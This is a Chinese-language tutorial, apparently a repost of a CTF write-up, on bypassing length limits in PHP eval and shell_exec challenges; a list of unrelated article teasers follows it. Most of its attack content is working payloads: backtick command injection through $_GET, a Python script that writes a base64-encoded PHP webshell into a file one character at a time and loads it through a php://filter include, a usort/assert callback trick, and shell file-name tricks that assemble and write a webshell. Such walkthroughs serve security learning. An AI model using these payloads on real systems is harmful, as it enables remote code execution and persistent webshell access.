RCE-eval长度限制绕过技巧

news2025/3/1 0:00:45

目录

限制16字符

  题目源码

方法一:`$_GET[1]`

方法二:file_put_contents

方法三:usort(…$_GET);

 限制7字符

题目源码


限制16字符

  题目源码

<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

  题目分析:传参的长度不能长于17,并且不能存在eval和assert

方法一:`$_GET[1]`

反引号可以执行命令,当我们传入参数时,反引号里面的内容会被执行,然后再传给param接收,此时如果我们通过参数1注入我们想要执行的命令,那我们的命令将会被执行。

注意:eval作为函数执行时后面必须有封号(;)

?param=echo`$_GET[1]`;&1=ls

结果如下:

命令执行成功,此方法较为简单!

方法二:file_put_contents

通过查阅官方文档发现,需要写入三个参数:第一个参数是要被写入数据的文件名,第二个参数是要写入的数据,第三个参数是如果文件 filename 已经存在,追加数据而不是覆盖。

 

 如果我们传入的payload是这样的,很明显长度超过了限制

param=$_GET[1](filename,Data,FILE_APPEND);&1=file_put_contents

但是通过查阅资料我发现,第三个参数在php底层C语言中可以用8表示

所以我们的payload可以简写为:

param=$_GET[1](N,D,8);&1=file_put_contents

N:代表文件名  D:代表写入的参数  8:代表追加

注意:使用file_put_contents函数需要设置文件所属主、组为www-data,不然权限不够 

所以我们可以将一句话木马一个一个的传入我们的文件N中,但是使用file_put_contents这个函数时无法对一些特殊字符生效,所以我们得将一句话木马进行base64编码。

可以编写一个简单的python脚本解决

import requests

string = "PD9waHAgZXZhbCgkX1BPU1RbOV0pOw"

for i in string:
    payload = "http://192.168.26.129/web.php?param=$_GET[1](N,{},8);&1=file_put_contents".format(i)
    response = requests.get(payload)
    if response.status_code == 200:
        print(i)
    else:
        print(response.status_code)

 可以看到我们已将一句话木马写入文件N中

 然后在传入以下payload:

param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

命令执行成功!

方法三:usort(…$_GET);

注意:此方法为php5的特性

POST /web.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);

利用抓包工具进行抓包,然后将包修改为如上:

原理解析:

GET变量被展开成两个参数['test', 'phpinfo();']assert,传入usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数中的phpinfo();

命令执行成功,此方法基本无视任何WAF! 

 限制7字符

题目源码

<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 ) { 
	echo shell_exec($param);
}

使用之前的方法发现长度都超出限制

Linux中可以用>0创建一个文件名为0的文件

所以我们可以将一句话木马一个一个的创建文件,然后通过文件名排列组合拼接在一起形成一句话木马

ls -t以创建时间来列出当前目录下的所有文件
文件列表以[换行符]分割每个文件
引入\转义ls时的换行
换行不影响命令执行
成功构造任意命令执行,写入webshell

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > c.php

因为我们得用时间排序,所以得倒着创建文件 

?param= >hp
?param=>c.p\\
?param=>d\>\\
?param=>\ \-\\
?param=>e64\\
?param=>bas\\
?param=>7\|\\
?param=>XSk\\
?param=>Fsx\\
?param=>dFV\\
?param=>kX0\\
?param=>bCg\\
?param=>XZh\\
?param=>AgZ\\
?param=>waH\\
?param=>PD9\\
?param=>o\ \\
?param=>ech\\

此时可以看到生成的文件(截图不完整):

 c.php已经生成:

然后在浏览器中执行: ?1=phpinfo();

命令执行成功! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2040258.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微服务系列:Spring Cloud 之 Feign、Ribbon、Hystrix 三者超时时间配置

Feign 自身有超时时间配置 Feign 默认集成的 Ribbon 中也有超时时间配置 假如我们又使用了 Hystrix 来实现熔断降级&#xff0c;Hystrix 自身也有一个超时时间配置 注: spring-cloud-starter-openfeign 低一点的版本中默认集成的有 Hystrix&#xff0c;高版本中又移除了。 …

Gin框架接入Prometheus,grafana辅助pprof检测内存泄露

prometheus与grafana的安装 grom接入Prometheus,grafana-CSDN博客 Prometheus 动态加载 我们想给Prometheus新增监听任务新增ginapp项目只需要在原来的配置文件下面新增ginapp相关metric 在docker compose文件下面新增 执行 docker-compose up -d curl -X POST http://lo…

C++ 设计模式——模板方法模式

模板方法模式 模板方法模式逐步重构并引入模板方法模式初始实现提取共性并引入模板方法模式实现具体类 完整代码示例模板方法模式的 UML 图UML 图详细介绍 模板方法模式适用于以下场景 模板方法模式 模板方法模式是一种行为设计模式&#xff0c;它定义了一个算法的骨架&#x…

C++11代码实战经典—MySQL数据库连接池

课程总目录 文章目录 一、项目介绍1.1 关键技术点1.2 项目背景1.3 连接池功能点介绍1.4 MySQL Server参数介绍1.5 项目功能点设计和技术细节 二、MySQL数据库编程三、项目代码逐步实现3.1 连接池单例模式实现3.2 实现加载配置项3.3 连接池的构造函数3.4 实现生产者3.5 实现消费…

其他浏览器正常,火狐浏览器ui-grid换行问题

ui-grid火狐浏览器兼容性问题 ui-grid表格插件问题描述解决方案 ui-grid表格插件 火狐浏览器 UI-grid 兼容性问题 其他如Edge、谷歌、360浏览器正常情况下 火狐浏览器 问题描述 如上图一和图二显示&#xff0c;UI-gird在火狐换行了&#xff1a;从图片来看&#xff1b;后面…

【车载开发系列】ASPICE标准实践---使用Drome系统保证一致性

【车载开发系列】ASPICE标准实践—使用Drome系统保证一致性 【车载开发系列】ASPICE标准实践---使用Drome系统保证一致性 【车载开发系列】ASPICE标准实践---使用Drome系统保证一致性一、一致性的目的二、ASPICE标准三、ASPICE标准实施难点四、保证一致性的实践1. 参与评审2. 可…

ES6-ES13学习笔记

目录 初识ES6 变量声明 解构赋值 对象解构 ​编辑 数组解构 ​编辑模版字符串 字符串扩展 includes() repeat() startsWith() endsWith() 数值扩展 二进制和八进制表示法 &#xff08;Number.&#xff09;isFinite()与isNaN() Number.isInteger() Math.trunc …

vue前端可以完整的显示编辑子级部门,用户管理可以为用户分配角色和部门?

用户和角色是一对多的关系用户和部门是多对多得关系<template><div class="s"><!-- 操作按钮 --><div class="shang"><el-input v-model="searchText" placeholder="请输入搜索关键词" style="width:…

上海凯泉泵业入职测评北森题库题型分析、备考题库、高分攻略

上海凯泉泵业&#xff08;集团&#xff09;有限公司是一家大型综合性泵业公司&#xff0c;专注于设计、生产、销售泵、给水设备及其控制设备。作为中国泵行业的领军企业&#xff0c;凯泉集团拥有7家企业和5个工业园区&#xff0c;总资产达到25亿元&#xff0c;生产性建筑面积35…

Python 在PDF中添加条形码、二维码

在PDF中添加条码是一个常见需求&#xff0c;特别是在需要自动化处理、跟踪或检索PDF文件时。作为一种机器可读的标识符&#xff0c;PDF中的条码可以包含各种类型的信息&#xff0c;如文档的唯一标识、版本号、日期等。以下是一篇关于如何使用Python在PDF中添加条形码或二维码的…

Linux 【进程替换】详细讲解

替换原理 进程是由PCB和内核数据结构以及进程的代码和数据形成 用 fork 创建子进程后执行的是和父进程相同的程序 ( 但有可能执行不同的代码分支 ), 子进程往往要调用一种 exec 函数来进行进程替换 ,对子进程进行替换由于原先子进程与父进程使用的是同一物理内存空间&#xff0…

前端 JavaScript 的 _ 语法是个什么鬼?

前言 我们有时候会看这样的前端代码&#xff1a; const doubled _.map(numbers, function(num) { return num * 2; });刚接触前端的童鞋可能会有点惊奇&#xff0c;不知道这个 _ 是什么语法&#xff0c;为什么这么神通广大&#xff1f; 其实 _ 是 Lodash 或 Underscore.js …

Django Project | 云笔记练习项目

文章目录 功能整体架构流程搭建平台环境子功能先创建用户表 并同步到数据库1.用户注册密码存储 -- 哈希算法唯一索引引发的重复问题 try登陆状态保持 -- 详细看用户登录状态 2. 用户登录会话状态时间 cookie用户登录状态校验 3. 网站首页4.退出登录5.笔记模块 列表页添加笔记 …

AFSim 仿真系统----脚本

概述 脚本为用户提供了一种在模拟中基于发生的事件执行复杂指令集的方式。该语言类似于 C# 和 Java&#xff0c;对于具备基本编程技能的人来说应该会很熟悉。它采用块结构&#xff0c;包含熟悉的声明、赋值和控制流语句&#xff0c;允许用户检查和操作模拟环境。 脚本本质上是由…

【Linux】sersync 实时同步

原理 rsync 是不支持实时同步的&#xff0c;通常我们借助于 inotify 这个软件来实时监控文件变化&#xff0c;一旦inotify 监控到文件变化&#xff0c;则立即调用 rsync 进行同步&#xff0c;推送到 rsync 服务端。 环境准备 步骤1&#xff1a;获取数据包 获取 sersync 的包…

UE5学习笔记12-为角色添加蹲下的动作

一、一点说明 1.蹲下使用了ACharacter类中Crouch();函数&#xff0c;函数功能是先检查是否存在运动组件&#xff0c;将bool类型的变量变为true&#xff0c;该变量代表是想要蹲下。 2.通过源码可知存在是否蹲下的bool变量bIsCrouched如图&#xff0c;如果对:1有疑问请搜索C位域 …

C++ | C++中的继承和组合:代码复用的艺术和应用

目录 一、继承&#xff1a;代码复用的艺术 1、继承概念 代码说明1&#xff1a;继承方式和访问控制 代码说明2&#xff1a;作用域与成员访问 代码说明3&#xff1a;构造函数和析构函数 2、基类和派生类对象赋值转换 派生类对象到基类对象的转换(向上转型)&#xff1a; 基…

Jmeter+Influxdb+Grafana平台监控性能测试过程(三种方式)

一、Jmeter自带插件监控 下载地址&#xff1a;Install :: JMeter-Plugins.org 安装&#xff1a;下载后文件为jmeter-plugins-manager-1.3.jar&#xff0c;将其放入jmeter安装目录下的lib/ext目录&#xff0c;然后重启jmeter&#xff0c;即可。 启动Jmeter&#xff0c;测试计…

python-opencv卷积计算代码

目录 # 尝试不同的卷积核 卷积图片如下&#xff1a; 卷积调用类如下&#xff1a; 当我们在图像上应用卷积时&#xff0c;我们在两个维度上执行卷积——水平和竖直方向。我们混合两桶信息&#xff1a;第一桶是输入的图像&#xff0c;由三个矩阵构成——RGB 三通道&#xff0c…

Cobalt—超简单下载器!!【送源码】

我们每天都在网上冲浪&#xff0c;遇到喜欢的视频、音频总想保存下来慢慢回味。很多平台并不直接提供下载功能&#xff0c;或者下载过程繁琐还伴有各种广告。之前了不起给大家介绍过不少开源的下载工具&#xff0c;如Gopeed、lux、Hitomi-Downloader&#xff0c;各有各的特色。…